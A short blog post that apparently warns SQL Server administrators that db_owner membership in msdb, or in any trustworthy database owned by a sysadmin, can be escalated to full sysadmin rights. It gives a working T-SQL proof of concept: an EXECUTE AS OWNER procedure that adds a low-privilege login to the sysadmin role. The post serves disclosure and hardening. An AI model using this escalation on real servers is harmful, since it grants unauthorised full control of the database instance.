Blog Post

db_owner in msdb == sysadmin

,

This doesn’t require much in the way discussion. This isn’t exactly a huge issue since I don’t think granting db_owner in msdb happens a whole lot, but still. Consider yourself warned.

I should add, this will work on any database that has trustworthy turned on and the dbo is a sysadmin. Oh, and my understanding is that msdb needs both an owner that is sysadmin (sa) and be trustworthy.

CREATE LOGIN ImpersonationTest WITH PASSWORD ='test', CHECK_POLICY = OFF;
GO
USE msdb
GO
CREATE USER ImpersonationTest FROM LOGIN ImpersonationTest;
GO
ALTER ROLE db_owner ADD MEMBER ImpersonationTest;
GO

Connect as ImpersonationTest

USE msdb
GO
CREATE PROCEDURE dbo.sysadminMe 
WITH EXECUTE AS owner
AS
ALTER SERVER ROLE sysadmin ADD MEMBER ImpersonationTest;
GO
EXEC dbo.sysadminMe;
GO
SELECT * FROM sys.login_token;

Original post (opens in new tab)
View comments in original post (opens in new tab)

Rate

You rated this post out of 5. Change rating

Share

Share

Rate

You rated this post out of 5. Change rating